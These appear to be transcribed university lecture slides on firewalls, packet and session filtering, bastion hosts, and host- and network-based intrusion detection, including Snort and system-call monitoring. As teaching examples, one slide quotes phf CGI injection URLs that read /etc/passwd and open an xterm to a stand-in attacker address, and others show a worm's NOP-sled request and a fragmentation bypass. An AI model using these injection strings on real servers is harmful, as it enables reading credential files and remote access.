Firewalls and Intrusion Detection

1. CS 361S Firewalls andIntrusion Detection Vitaly Shmatikov

2. Reading Assignment • Chapter 23 in Kaufman • Optional: “Firewall Gateways” (chapter 3 of “Firewalls and Internet Security” by Cheswick and Bellovin) • Optional: “Insertion, Evasion and Denial of Service: Eluding Network Intrusion Detection” by Ptacek and Newman

3. Firewalls • Idea: separate local network from the Internet Trusted hosts and networks Firewall Router Intranet Demilitarized Zone: publicly accessible servers and networks DMZ

4. Castle and Moat • More like the moat around a castle than a firewall • Restricts access from the outside • Restricts outbound connections, too (!!)

5. Why Filter Outbound Connections? [From “The Art of Intrusion”] • whitehouse.gov: inbound X connections blocked by firewall, but input sanitization in phonebook script doesn’t filter out 0x0a (newline) http://www.whitehouse.gov/cgi-bin/phf? Qalias=x%0a/bin/cat%20/etc/passwd - displays pwd file http://www.whitehouse.gov/cgi-bin/phf? Qalias=x%0a/usr/X11R6/bin/xterm%20-ut%20-display%20attackers.ip.address:0.0 - outbound connection to attacker’s X server (permitted by the firewall) • Use a cracked password to login, then buffer overflow in ufsrestore to get root

6. Firewall Locations in the Network • Between internal LAN and external network • At the gateways of sensitive subnetworks within the organizational LAN • Payroll’s network must be protected separately within the corporate network • On end-user machines • “Personal firewall” • Standard in Microsoft Windows

7. Types of Firewalls • Packet- or session-filtering router (filter) • Proxy gateway • All incoming traffic is directed to firewall, all outgoing traffic appears to come from firewall • Circuit-level: application-independent, “transparent” • Only generic IP traffic filtering (example: SOCKS) • Application-level: separate proxy for each application • Different proxies for SMTP (email), HTTP, FTP, etc. • Filtering rules are application-specific • Personal firewall with application-specific rules • E.g., no outbound telnet connections from email client

8. Illustration of Firewall Types

9. Packet Filtering • For each packet, firewall decides whether to allow it to proceed – on a per-packet basis • Stateless, cannot examine packet’s context (TCP connection, application-specific payload, etc.) • Filtering rules are based on pattern-matching packet header fields • IP source and destination addresses, ports • Protocol identifier (TCP, UDP, ICMP, etc.) • TCP flags (SYN, ACK, RST, PSH, FIN) • ICMP message type

10. Examples of Filtering Rules

11. Example: FTP [Wenke Lee] FTP server FTP client Connection from a random port on an external host 20 Data 21 Command 5150 5151  Client opens command channel to server; tells server second port number “PORT 5151” “OK”  Server acknowledges DATA CHANNEL  Server opens data channel to client’s second port TCP ACK  Client acknowledges

12. FTP Packet Filter • These rules allow a user to FTP from any IP address to the FTP server at 172.168.10.12 access-list 100 permit tcp any gt 1023 host 172.168.10.12 eq 21 access-list 100 permit tcp any gt 1023 host 172.168.10.12 eq 20 ! Allows packets from any client to the FTP control and data ports access-list 101 permit tcp host 172.168.10.12 eq 21 any gt 1023 access-list 101 permit tcp host 172.168.10.12 eq 20 any gt 1023 ! Allows the FTP server to send packets back to any IP address with TCP ports > 1023 interface Ethernet 0 access-list 100 in ! Apply the first rule to inbound traffic access-list 101 out ! Apply the second rule to outbound traffic ! “Default deny”: anything not explicitly permitted by the access list is denied

13. Screened Subnet Only the screened subnet is visible to the external network; internal network is invisible

14. Screened Subnet Using Two Routers

15. Source/Destination Address Forgery

16. Protecting Addresses and Routes • Hide IP addresses of hosts on internal network • Only services that are intended to be accessed from outside need to reveal their IP addresses • Keep other addresses secret to make spoofing harder • Use NAT (network address translation) to map addresses in packet headers to internal addresses • 1-to-1 or N-to-1 mapping • Filter route announcements • No need to advertise routes to internal hosts • Prevent attacker from advertising that the shortest route to an internal host lies through him

17. Weaknesses of Packet Filters • Do not prevent application-specific attacks • For example, if there is a buffer overflow in the Web server, firewall will not block an attack string • No authentication • … except (spoofable) address-based authentication • Firewalls operate only at the network level • Vulnerable to TCP/IP attacks such as spoofing • Solution: list of addresses for each interface (packets with internal addresses shouldn’t come from outside) • Vulnerable to misconfiguration

18. Stateless Filtering Is Not Enough • In TCP connections, ports with numbers less than 1024 are permanently assigned to servers • 20, 21 - FTP, 23 - telnet, 25 - SMTP, 80 - HTTP… • Clients use ports numbered from 1024 to 65535 • They must be available for clients to receive responses • What should a firewall do if it sees, say, an outgoing request to some client’s port 5151? • It must allow it: this could be a server’s response in a previously established connection … … OR it could be malicious traffic • Can’t tell without keeping state for each connection

19. Example: Using High Ports Inbound SMTP Outbound SMTP

20. Session Filtering • Decision is still made separately for each packet, but in the context of a connection • If new connection, then check against security policy • If existing connection, then look it up in the table and update the table, if necessary • Only allow packets to a high-numbered port if there is an established connection from that port • Example of an update: if RST, remove connection from table • Hard to filter stateless protocols (UDP) and ICMP • Filters can be bypassed with IP tunneling

21. Example: Connection State Table

22. Stateful or Dynamic Packet Filtering

23. Abnormal Fragmentation For example, ACK bit is set in both fragments, but when reassembled, SYN bit is set (can stage SYN flooding through firewall)

24. Fragmentation Attack [Wenke Lee] Telnet client Telnet server ,Send 2 fragments with the ACK bit set; fragment offsets are chosen so that the full datagram re-assembled by server forms a packet with the SYN bit set (the fragment offset of the second packet overlaps into the space of the first packet) Allow only if ACK bit set 23 1234 FRAG1 (with ACK) FRAG2 (with ACK) SYN packet (no ACK) ACK All following packets will have the ACK bit set

25. Circuit-Level Gateway • Splices and relays TCP connections • Does not examine the contents of TCP segments; less control than application-level gateway • Client applications must be adapted for SOCKS • “Universal” interface to circuit-level gateways • For lower overhead, application-level proxy on inbound, circuit-level on outbound (trusted users)

26. Application-Level Gateway • Splices and relays application-specific connections • Need a separate proxy for each application • Example: HTTP proxy • Big overhead, but can log and audit all activity • Can support user-to-gateway authentication • Log into the proxy server with username and password • Simpler filtering rules (why?)

27. Comparison of Firewall Types • Packet filter BestNoNo • Session filter NoMaybe • Circuit-level gateway Yes (SOCKS)Yes • Application-level WorstYesYes gateway Modify client application Defends against fragm. attacks Performance

28. Bastion Host • Bastion host is a hardened system implementing application-level gateway behind packet filter • All non-essential services are turned off • Application-specific proxies for supported services • Each proxy supports only a subset of application’s commands, is logged and audited, disk access restricted, runs as a non-privileged user in a separate directory • Support for user authentication • All traffic flows through bastion host • Packet router allows external packets to enter only if their destination is bastion host, and internal packets to leave only if their origin is bastion host

29. If packet filter is compromised, traffic can flow to internal network Single-Homed Bastion Host

30. No physical connection between internal and external networks Dual-Homed Bastion Host

31. General Problems with Firewalls • Interfere with some networked applications • Don’t solve many real problems • Buggy software (think buffer overflow exploits) • Bad protocol design (think WEP in 802.11b) • Generally don’t prevent denial of service • Don’t prevent insider attacks • Increasing complexity and potential for misconfiguration

32. What Should Be Detected? • Attempted and successful break-ins • Attacks by legitimate users • Illegitimate use of root privileges, unauthorized access to resources and data … • Trojans, rootkits, viruses, worms … • Denial of service attacks

33. Intrusion Detection Systems • Host-based • Monitor activity on a single host • Advantage: better visibility into behavior of individual applications running on the host • Network-based (NIDS) • Often placed on a router or firewall • Monitor traffic, examine packet headers and payloads • Advantage: single NIDS can protect many hosts and look for global patterns

34. Intrusion Detection Techniques • Misuse detection • Use attack “signatures” (need a model of the attack) • Sequences of system calls, patterns of network traffic, etc. • Must know in advance what attacker will do (how?) • Can only detect known attacks • Anomaly detection • Using a model of normal system behavior, try to detect deviations and abnormalities • E.g., raise an alarm when a statistically rare event(s) occurs • Can potentially detect unknown attacks • Which is harder to do?

35. Root pwd modified, admin not logged in Misuse Misuse or Anomaly? • Four failed login attempts Anomaly • Failed connection attempts on 50 sequential ports Anomaly • User who usually logs in around 10am from a UT dorm logs in at 4:30am from a Russian IP address Anomaly • UDP packet to port 1434 Misuse • “DEBUG” in the body of an SMTP message Not an attack! (most likely)

36. Misuse Detection (Signature-Based) • Set of rules defining a behavioral signature likely to be associated with attack of a certain type • Example: buffer overflow • A setuid program spawns a shell with certain arguments • A network packet has lots of NOPs in it • A very long argument to a string function • Example: SYN flooding (denial of service) • Large number of SYN packets without ACKs coming back …or is this simply a poor network connection? • Attack signatures are usually very specific and may miss variants of known attacks • Why not make signatures more general?

37. U. of Toronto, 19 Mar 2004 [from David Lie] “The campus switches have been bombarded with these packets […] and apparently 3Com switches reset when they get these packets. This has caused the campus backbone to be up and down most of yesterday. The attack seems to start with connection attempts to port 1025 (Active Directory logon, which fails), then 6129 (DameWare backdoor, which fails), then 80 (which works as the 3Com’s support a web server, which can’t be disabled as far as we know). The HTTP command starts with ‘SEARCH /\x90\x02\xb1\x02’ […] then goes off into a continual pattern of ‘\x90’ ”

38. Extracting Misuse Signatures • Use invariant characteristics of known attacks • Bodies of known viruses and worms, port numbers of applications with known buffer overflows, RET addresses of stack overflow exploits • Hard to handle malware mutations • Metamorphic viruses: each copy has a different body • Challenge: fast, automatic extraction of signatures of new attacks • Honeypots are useful for signature extraction • Try to attract malicious activity, be an early target

39. Anomaly Detection • Define a profile describing “normal” behavior • Works best for “small”, well-defined systems (single program rather than huge multi-user OS) • Profile may be statistical • Build it manually (this is hard) • Use machine learning and data mining techniques • Log system activities for a while, then “train” IDS to recognize normal and abnormal patterns • Risk: attacker trains IDS to accept his activity as normal • Daily low-volume port scan may train IDS to accept port scans • IDS flags deviations from the “normal” profile

40. Level of Monitoring • Which types of events to monitor? • OS system calls • Command line • Network data (e.g., from routers and firewalls) • Processes • Keystrokes • File and device accesses • Memory accesses • Auditing / monitoring should be scalable

41. Host-Based IDS • Use OS auditing and monitoring mechanisms to find applications taken over by attacker • Log all relevant system events (e.g., file accesses) • Monitor shell commands and system calls executed by user applications and system programs • Pay a price in performance if every system call is filtered • Con: need an IDS for every machine • Con: if attacker takes over machine, can tamper with IDS binaries and modify audit logs • Con: only local view of the attack

42. Host-Based Anomaly Detection • Compute statistics of certain system activities • Login and location frequency; last login; password fails; session elapsed time, output, CPU, I/O; frequency of commands and programs, file read/write/create/delete • Report an alert if statistics outside range • Example: IDES (Denning, mid-1980s) • For each user, store daily count of certain activities • For example, fraction of hours spent reading email • Maintain list of counts for several days • Report anomaly if count is outside weighted norm Problem: most unpredictable user is the most important

43. File integrity checker • Records hashes of critical files and binaries • Hashes must be stored in read-only memory (why?) • Periodically checks that files have not been modified, verifies sizes, dates, permissions • Good for detecting rootkits, but may be subverted by a clever rootkit • Install a backdoor inside a continuously running system process (no changes on disk!) • Copy old files back into place before Tripwire runs • How to detect modifications to running process?

44. System Call Interposition • Observation: all sensitive system resources are accessed via OS system call interface • Files, sockets, etc. • Idea: monitor all system calls and block those that violate security policy • Modify program code to “self-detect” violations • Language-level: Java runtime environment inspects the stack of the function attempting to access a sensitive resource and checks whether it is permitted to do so • Common OS-level approach: system call wrapper • Want to do this without modifying OS kernel (why?)

45. Y normal Compute % of traces that have been seen before. Is it above the threshold? N abnormal Raise alarm if a high fraction of system call sequences haven’t been observed before “Self-Immunology” Approach [Forrest] • Normal profile: short sequences of system calls • Use strace on UNIX … open,read,write,mmap,mmap,getrlimit,open,close … remember last K events … open,read,write,mmap read,write,mmap,mmap write,mmap,mmap,getrlimit mmap,mmap,getrlimit,open …

46. Better System Call Monitoring [Wagner and Dean] • Use static analysis of source code to find out what a normal system call sequence looks like • Build a finite-state automaton of expected system calls • Monitor system calls from each program • System call automaton is conservative • No false positives!

47. Wagner-Dean Example open() f(int x) { x ? getuid() : geteuid(); x++; } g() { fd = open("foo", O_RDONLY); f(0); close(fd); f(1); exit(0); } Entry(g) Entry(f) close() getuid() geteuid() exit() Exit(g) Exit(f) If code behavior is inconsistent with this automaton, something is wrong

48. Network-Based IDS • Inspect network traffic • For example, use tcpdump to sniff packets on a router • Passive (unlike firewalls) • Default action: let traffic pass (unlike firewalls) • Rules for protocol violations, unusual connection patterns, attack strings in packet payloads • Con: can’t inspect encrypted traffic (VPNs, SSL) • Con: not all attacks arrive from the network • Con: record and process huge amount of traffic

49. Snort • Popular open-source network-based intrusion detection tool • Large, constantly updated sets of rules for common vulnerabilities • Occasionally had its own vulnerabilities • IBM Internet Security Systems Protection Advisory (Feb 19, 2007): Snort IDS and Sourcefire Intrusion Sensor IDS/IPS are vulnerable to a stack-based buffer overflow, which can result in remote code execution

50. Port Scanning • Many vulnerabilities are OS-specific • Bugs in specific implementations, default configuration • Port scan is often a prelude to an attack • Attacker tries many ports on many IP addresses • For example, looking for an old version of some daemon with an unpatched buffer overflow • If characteristic behavior detected, mount attack • Example: SGI IRIX responds on TCPMUX port (TCP port 1); if response detected, IRIX vulnerabilities can used to break in • “The Art of Intrusion”: virtually every attack involves port scanning and password cracking